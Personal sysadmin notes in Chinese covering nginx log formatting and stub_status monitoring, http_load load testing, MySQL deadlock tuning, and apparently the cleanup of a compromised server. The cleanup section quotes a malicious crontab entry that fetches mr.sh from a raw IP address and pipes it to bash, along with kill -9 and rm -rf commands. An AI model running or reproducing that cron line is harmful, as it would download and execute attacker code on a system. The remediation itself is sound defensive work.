Jinyang的日记

https://grafana.com/dashboards/2292


log_format main   '{"@timestamp":"$time_iso8601",'
                        '"@source":"$server_addr",'
                        '"hostname":"$hostname",'
                        '"ip":"$http_x_forwarded_for",'
                        '"client":"$remote_addr",'
                        '"request_method":"$request_method",'
                        '"scheme":"$scheme",'
                        '"domain":"$server_name",'
                        '"referer":"$http_referer",'
                        '"request":"$request_uri",'
                        '"args":"$args",'
                        '"size":$body_bytes_sent,'
                        '"status": $status,'
                        '"responsetime":$request_time,'
                        '"upstreamtime":"$upstream_response_time",'
                        '"upstreamaddr":"$upstream_addr",'
                        '"http_user_agent":"$http_user_agent",'
                        '"https":"$https"'
                        '}';

查看nginx安装的把目录

whereis nginx
nginx: /usr/sbin/nginx

查看nginx的版本已经已安装的插件

/usr/sbin/nginx -V
nginx version: nginx/1.14.0
built by gcc 4.8.5 20150623 (Red Hat 4.8.5-16) (GCC)
built with OpenSSL 1.0.2k-fips 26 Jan 2017
TLS SNI support enabled
configure arguments: –prefix=/etc/nginx –sbin-path=/usr/sbin/nginx –modules-path=/usr/lib64/nginx/modules –conf-path=/etc/nginx/nginx.conf –error-log-path=/var/log/nginx/error.log –http-log-path=/var/log/nginx/access.log –pid-path=/var/run/nginx.pid –lock-path=/var/run/nginx.lock –http-client-body-temp-path=/var/cache/nginx/client_temp –http-proxy-temp-path=/var/cache/nginx/proxy_temp –http-fastcgi-temp-path=/var/cache/nginx/fastcgi_temp –http-uwsgi-temp-path=/var/cache/nginx/uwsgi_temp –http-scgi-temp-path=/var/cache/nginx/scgi_temp –user=nginx –group=nginx –with-compat –with-file-aio –with-threads –with-http_addition_module –with-http_auth_request_module –with-http_dav_module –with-http_flv_module –with-http_gunzip_module –with-http_gzip_static_module –with-http_mp4_module –with-http_random_index_module –with-http_realip_module –with-http_secure_link_module –with-http_slice_module –with-http_ssl_module –with-http_stub_status_module –with-http_sub_module –with-http_v2_module –with-mail –with-mail_ssl_module –with-stream –with-stream_realip_module –with-stream_ssl_module –with-stream_ssl_preread_module –with-cc-opt=’-O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong –param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -fPIC’ –with-ld-opt=’-Wl,-z,relro -Wl,-z,now -pie’

修改nginx配置  启用stub_status

location /nginx-status {
allow 127.0.0.1;
deny all;
stub_status on;
access_log off;
}

查看nginx-status

curl 127.0.0.1/nginx-status
Active connections: 51
server accepts handled requests
752 752 2909
Reading: 0 Writing: 1 Waiting: 50

这个是最简单、笨拙的方法，没有实现图形化。

ps aux

ps aux|grep wget|awk ‘{print $2}’|xargs kill -9

crontab -u www-data -l

crontab -e -u www-data

#* * * * * wget -q -O – http://192.99.142.226:8220/mr.sh | bash -sh > /dev/null 2>&1

cd /var/tmp

rm  -rf  *

set character_set_results=utf8

set character_set_client=utf8

set character_set_connection=utf8

http_load -p 10 -s 60 -r 3 -f 100 c:\urls.txt
参数的含义：
-parallel 简写-p ：并发的用户进程数
-fetches 简写-f ：总计的访问请求次数
-rate 简写-r ：每秒的访问频率
-seconds简写-s ：总计的访问时间
准备URL文件：urls.txt，文件格式是每行一个URL

某高并发场景的应用使用数据库的insert select 方式做了业务的逻辑判断限制，以实现预期的数据控制（不超出业务允许的范围），实际使用中的确是不会出现绕过业务规则的业务发生，但是正常的请求因为并发锁表导致相互等待 死锁 使得业务无法正常进行。

1. 分析sql语句  使所有sql子查询语句都走唯一索引、索引等  不要全表扫描导致产生表级别的锁

执行explain sql语句 ，把ALL类型的全表扫描的执行sql都优化成走索引执行

2. 降低事务等级为 ISOLATION_READ_COMMITTED ，缩小事务  及时commit

READ_COMMITTED 不会锁表，是Oracle的默认事务等级，MySql默认使用的REPEATABLE READ ,READ UNCOMMITTED更快 更不易锁表。

3. 分解service impl中的方法中作为整体事务的容易出错的代码，单独进行异常的捕获，防止其出现IP错误等导致数据库回滚

4. 其他业务语句涉及到同一张表的    要使用索引  避免全表扫描的update 。